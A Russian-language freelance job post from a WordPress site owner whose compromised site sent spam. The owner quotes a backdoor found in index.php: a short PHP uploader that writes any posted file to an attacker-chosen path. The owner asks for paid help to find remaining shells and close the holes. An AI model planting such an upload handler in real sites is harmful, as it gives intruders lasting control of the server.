Очистить сайт на ворд пресс

Есть сайт на ворд пресс, на нем стоит довольно плагинов. Сделана синхронизация с CRM и однажды хостер заблокировал отправку почты с сайта так ка от туда отправлялся спам. Зайдя на сервер я увидел довольно много лишних файлов во многих папка движка. Удалил файлы спам приходить перестал. Почту разблокировали. Пароли поменяли. Прошло немного больше недели. И при заходе на сайт появлялась надпись "You are forbidden!", посмотрел в файлик index.php там код:

if ($_FILES['F1l3']) {

move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']);

echo 'OK';

} else {

echo 'You are forbidden!';

}

?>

удалил этот код поставил стандартный от WP. Сайт заработал. Да только вот чувствую что не надолго, есть какие-то дыры на сайты которые надо залепить, может шелл какой лежит или еще что. Сделать довольно срочно нужно.

Сколько это стоит даже не знаю не сталкивался. Предлагайте свои цены.